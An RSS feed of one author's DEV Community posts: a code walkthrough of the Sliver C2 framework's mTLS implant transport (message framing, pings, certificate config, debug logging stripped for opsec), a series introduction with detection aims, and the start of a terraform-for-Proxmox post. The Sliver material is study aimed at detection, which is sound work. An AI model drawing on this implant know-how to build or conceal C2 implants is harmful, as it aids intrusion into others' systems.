<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: r0psteev</title>
    <description>The latest articles on DEV Community by r0psteev (@r0psteev).</description>
    <link>https://dev.to/r0psteev</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F948070%2Fa42b8efd-7b8d-4eb4-a118-789a6153dbd0.jpg</url>
      <title>DEV Community: r0psteev</title>
      <link>https://dev.to/r0psteev</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/r0psteev"/>
    <language>en</language>
    <item>
      <title>Exploring Sliver C2 - Part 1 : C2 over mTLS</title>
      <dc:creator>r0psteev</dc:creator>
      <pubDate>Sat, 08 Apr 2023 05:15:10 +0000</pubDate>
      <link>https://dev.to/r0psteev/exploring-sliver-c2-part-1-c2-over-mtls-4ejo</link>
      <guid>https://dev.to/r0psteev/exploring-sliver-c2-part-1-c2-over-mtls-4ejo</guid>
      <description>&lt;h2&gt;
  
  
  What is &lt;code&gt;mTLS&lt;/code&gt; ?
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;mTLS&lt;/code&gt;stands for mutual TLS.&lt;/p&gt;

&lt;p&gt;In normal TLS, a target server/website is required to provide to visitors browsers its certificate. This certificate is generally issued by a trusted third-party (a Certificate Authority).&lt;/p&gt;

&lt;p&gt;Client browsers are shipped by default with a list of public keys from known trusted Certificate Authorities. The client browser can use them to verify if a certificate presented to it by a server/website was issued/signed by one of the Certificate Authorities it knows (trusts).&lt;/p&gt;

&lt;p&gt;mTLS enforces that the client too presents a similar certificate to complete a hand-shake, there-by enabling the server to be sure that the client is also whom it pretends to be.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7trx0zx33wn04utfstj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7trx0zx33wn04utfstj.png" alt="mTLS flow cloudflare"&gt;&lt;/a&gt;&lt;sup id="fnref1"&gt;1&lt;/sup&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  mTLS Implant side
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The Implant is the component which is deployed on target/victim endpoint for control.&lt;/li&gt;
&lt;li&gt;Implant specific code within sliver is located in &lt;code&gt;./sliver/implant&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xvt1g91dcjgkwq5t0tr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xvt1g91dcjgkwq5t0tr.png" alt="location of implant code for sliver"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implant code related to transport mechanisms, including mTLS is located in &lt;code&gt;./sliver/implant/sliver/transports&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwq0b2mpgfmz0ycf08uvd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwq0b2mpgfmz0ycf08uvd.png" alt="location of transport mechanism code for implant"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Poking around &lt;code&gt;mtls.go&lt;/code&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The file has a quiet curious template-like feature which allows for conditionally importing the &lt;code&gt;log&lt;/code&gt; package.&lt;/li&gt;
&lt;li&gt;Based on wether we are or not in Debug mode as expressed by some magic &lt;code&gt;.Config&lt;/code&gt; variable, the &lt;code&gt;log&lt;/code&gt; package gets imported.&lt;/li&gt;
&lt;li&gt;I guess this could be for Opsec reasons, as no one would like production implants to have debug messages enabled on blue team monitored endpoints.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

    &lt;span class="c"&gt;// {{if .Config.Debug}}&lt;/span&gt;
    &lt;span class="s"&gt;"log"&lt;/span&gt;
    &lt;span class="c"&gt;// {{end}}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Other interesting observations where the fact that some variables within the scope of this code get provisioned by this magically injected &lt;code&gt;{{.Config}}&lt;/code&gt; object.&lt;/li&gt;
&lt;li&gt;These variables are apparently:&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;Certificate Authority's public key&lt;/strong&gt; (expected to be the key of the trusted CA between the implant and server)&lt;/li&gt;
&lt;li&gt;the private key of the implant itself (&lt;strong&gt;keyPEM&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;the certificate of the implant &lt;strong&gt;certPEM&lt;/strong&gt; (Implant's public key signed by the CA, with some metadata)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c"&gt;// PingInterval - Amount of time between in-band "pings"&lt;/span&gt;
    &lt;span class="n"&gt;PingInterval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Minute&lt;/span&gt;

    &lt;span class="c"&gt;// caCertPEM - PEM encoded CA certificate&lt;/span&gt;
    &lt;span class="n"&gt;caCertPEM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;`{{.Config.MtlsCACert}}`&lt;/span&gt;

    &lt;span class="n"&gt;keyPEM&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;`{{.Config.MtlsKey}}`&lt;/span&gt;
    &lt;span class="n"&gt;certPEM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;`{{.Config.MtlsCert}}`&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;There are a few functions too, whose intent i will try to derive based on the comments and code logic.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;WriteEnvelope&lt;/code&gt;&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;This appears to be some kind of write primitive the implant can use to pass down messages of its protocol through an mTLS socket.&lt;/li&gt;
&lt;li&gt;It depends on a protobuf defined structure call &lt;strong&gt;pb.Envelope&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Interestingly enough, it sends bytes over the socket in &lt;code&gt;LittleEndian&lt;/code&gt; (host order).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;LittleEndian&lt;/code&gt; is generally the byte order used by CPUs to read process memory and instructions.&lt;/li&gt;
&lt;li&gt;In the network, Big Endian (also called network order) is often more prevalent for byte transmission. &lt;sup id="fnref2"&gt;2&lt;/sup&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="c"&gt;// WriteEnvelope - Writes a message to the TLS socket using length prefix framing&lt;/span&gt;
&lt;span class="c"&gt;// which is a fancy way of saying we write the length of the message then the message&lt;/span&gt;
&lt;span class="c"&gt;// e.g. [uint32 length|message] so the receiver can delimit messages properly&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;WriteEnvelope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Envelope&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// {{if .Config.Debug}}&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Envelope marshaling error: "&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c"&gt;// {{end}}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;dataLengthBuf&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataLengthBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LittleEndian&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataLengthBuf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;WritePing&lt;/code&gt;&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;kind of keep alive method to constantly feed something over the socket.&lt;/li&gt;
&lt;li&gt;just to notify the server that the implant is still there.&lt;/li&gt;
&lt;li&gt;it uses the &lt;strong&gt;WriteEnvelope&lt;/strong&gt; primitive to pass down these pings over the socket.&lt;/li&gt;
&lt;li&gt;The ping consists of sending the message &lt;code&gt;31337&lt;/code&gt; (elite in leet speak), i guess every &lt;code&gt;PingInterval&lt;/code&gt; units of time.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="c"&gt;// WritePing - Send a "ping" message to the server&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;WritePing&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Conn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// {{if .Config.Debug}}&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Socket ping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;// {{end}}&lt;/span&gt;

    &lt;span class="c"&gt;// We don't need a real nonce here, we just need to write to the socket&lt;/span&gt;
    &lt;span class="n"&gt;pingBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ping&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Nonce&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;31337&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;envelope&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Envelope&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MsgPing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pingBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;WriteEnvelope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ReadEnvelope&lt;/code&gt;&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;The function name and comments are enough to convince me not to read the whole  of it, and infer a little its goal :D.&lt;/li&gt;
&lt;li&gt;Reads data from the TLS connection.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

    &lt;span class="c"&gt;// Unmarshal the protobuf envelope&lt;/span&gt;
    &lt;span class="n"&gt;envelope&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Envelope&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Unmarshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// {{if .Config.Debug}}&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unmarshal envelope error: %v"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c"&gt;// {{end}}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;envelope&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;MtlsConnect&lt;/code&gt;&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;establish a TLS connection with sliver server given the server ip and port.&lt;/li&gt;
&lt;li&gt;depends on &lt;strong&gt;&lt;code&gt;getTLSConfig&lt;/code&gt;&lt;/strong&gt; to load CA certificate.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;At this stage the dependency graph i made for myself is the following.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe8qi98h62mz7345pq41t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe8qi98h62mz7345pq41t.png" alt="mind map of function dependencies"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It becomes quiet evident that the big players here are the :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Envelope&lt;/code&gt;&lt;/strong&gt; structure&lt;/li&gt;
&lt;li&gt;The magical &lt;strong&gt;&lt;code&gt;Config&lt;/code&gt;&lt;/strong&gt; variable.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The &lt;code&gt;Envelope&lt;/code&gt; proto definition
&lt;/h2&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="c"&gt;// Envelope - Used to encode implant&amp;lt;-&amp;gt;server messages since we &lt;/span&gt;
&lt;span class="c"&gt;//            cannot use gRPC due to the various transports used.&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;Envelope&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;int64&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c"&gt;// Envelope ID used to track request/response&lt;/span&gt;
  &lt;span class="kt"&gt;uint32&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c"&gt;// Message type&lt;/span&gt;
  &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c"&gt;// Actual message data&lt;/span&gt;

  &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;UnknownMessageType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c"&gt;// Set if the implant did not understand the message&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;from the description of this structure, it is used to encode messages between implant and server&lt;/li&gt;
&lt;li&gt;Evidence of this could be traced back to:

&lt;ul&gt;
&lt;li&gt;the &lt;strong&gt;&lt;code&gt;WriteEnvelope&lt;/code&gt;&lt;/strong&gt; function; &lt;code&gt;pb.Envelope&lt;/code&gt; is marshaled into raw bytes before transmission the TLS connection.&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;&lt;code&gt;ReadEnvelope&lt;/code&gt;&lt;/strong&gt; function; raw bytes are read from a TLS connection, and unmarshaled into a &lt;code&gt;pb.Envelope&lt;/code&gt; structure which Go can understand.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Moving protocol specific types/structures into proto files gives in my opinion some flexibility in modifying the protocol, because the proto files will act as the single source of truth for the protocol's definition.&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;I'm tempted at this stage to think that a solid detection technique  for sliver could rely on identifying these message structures in-memory.&lt;/li&gt;
&lt;li&gt;We could hypothetically imagine some sort of memory scanner, which will scan process memory space on the monitored system, and attempt to recognise sections of memory whose layout/structure matches the alignment of the protobuf messages defined in sliver's implant protocol.&lt;/li&gt;
&lt;li&gt;Doubts will get settled anyway by better understanding the protocol, and also how Go structures look like in memory.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reference
&lt;/h2&gt;




&lt;ol&gt;

&lt;li id="fn1"&gt;
&lt;p&gt;&lt;a href="https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/" rel="noopener noreferrer"&gt;https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/&lt;/a&gt; ↩&lt;/p&gt;
&lt;/li&gt;

&lt;li id="fn2"&gt;
&lt;p&gt;&lt;a href="https://beej.us/guide/bgnet/html/split/ip-addresses-structs-and-data-munging.html#byte-order" rel="noopener noreferrer"&gt;https://beej.us/guide/bgnet/html/split/ip-addresses-structs-and-data-munging.html#byte-order&lt;/a&gt; ↩&lt;/p&gt;
&lt;/li&gt;

&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>Exploring Sliver C2 - Part 0</title>
      <dc:creator>r0psteev</dc:creator>
      <pubDate>Sat, 08 Apr 2023 03:56:32 +0000</pubDate>
      <link>https://dev.to/r0psteev/exploring-sliver-c2-part-0-h4h</link>
      <guid>https://dev.to/r0psteev/exploring-sliver-c2-part-0-h4h</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Sliver is an open-source cross-platform adversary emulation framework, written in Go. With tones of stealth and evasion techniques, aimed at providing to organizations a framework against which they can measure their detection/response capabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Aims
&lt;/h2&gt;

&lt;p&gt;The primary aims of this endeavor are to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Step-by-Step explore some features of sliver&lt;/li&gt;
&lt;li&gt;Understand how they're implemented in the code&lt;/li&gt;
&lt;li&gt;Develop detection techniques which are resistant to trivial obfuscation pipelines.&lt;/li&gt;
&lt;li&gt;And more importantly, to steal some Go programming tips ;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sliver has an amazing set of features, but what i wish to specifically explore for the moment revolve around.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;C2 over mTLS (mutual TLS)&lt;/li&gt;
&lt;li&gt;C2 over wireguard&lt;/li&gt;
&lt;li&gt;C2 over HTTP(S)&lt;/li&gt;
&lt;li&gt;C2 over DNS&lt;/li&gt;
&lt;li&gt;Dynamic compilation with per-binary asymmetric encryption keys&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/BishopFox/sliver"&gt;https://github.com/BishopFox/sliver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mgeeky.tech/protectmytooling/"&gt;https://mgeeky.tech/protectmytooling/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Learning some terraform for Proxmox</title>
      <dc:creator>r0psteev</dc:creator>
      <pubDate>Tue, 06 Dec 2022 09:12:56 +0000</pubDate>
      <link>https://dev.to/r0psteev/learning-some-terraform-for-proxmox-3ff4</link>
      <guid>https://dev.to/r0psteev/learning-some-terraform-for-proxmox-3ff4</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In an effort to capture some of the effort that goes into setting up tests infrastructures on proxmox, i decided to learn some terraform to formalize infrastructure deployment on proxmox as terraform configs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Personal objectives
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Build a terraform provider from source and use it from locally (this will be useful in case the need to further extend the provider with additional features that the proxmox API provides)&lt;/li&gt;
&lt;li&gt;Deploy n-lxc containers using terraform on proxmox&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Provider
&lt;/h2&gt;

&lt;h4&gt;
  
  
  1. Building the Provider
&lt;/h4&gt;

&lt;p&gt;I choose &lt;a href="https://github.com/Telmate/terraform-provider-proxmox" rel="noopener noreferrer"&gt;Telmate/Proxmox&lt;/a&gt; provider as it one of the most popular on hashicorp.&lt;/p&gt;

&lt;p&gt;This provider has a quiet comprehensive friendly structure, with an entrypoint &lt;code&gt;main.go&lt;/code&gt; and &lt;code&gt;package proxmox&lt;/code&gt; dedicated to proxmox's specific logic.&lt;/p&gt;

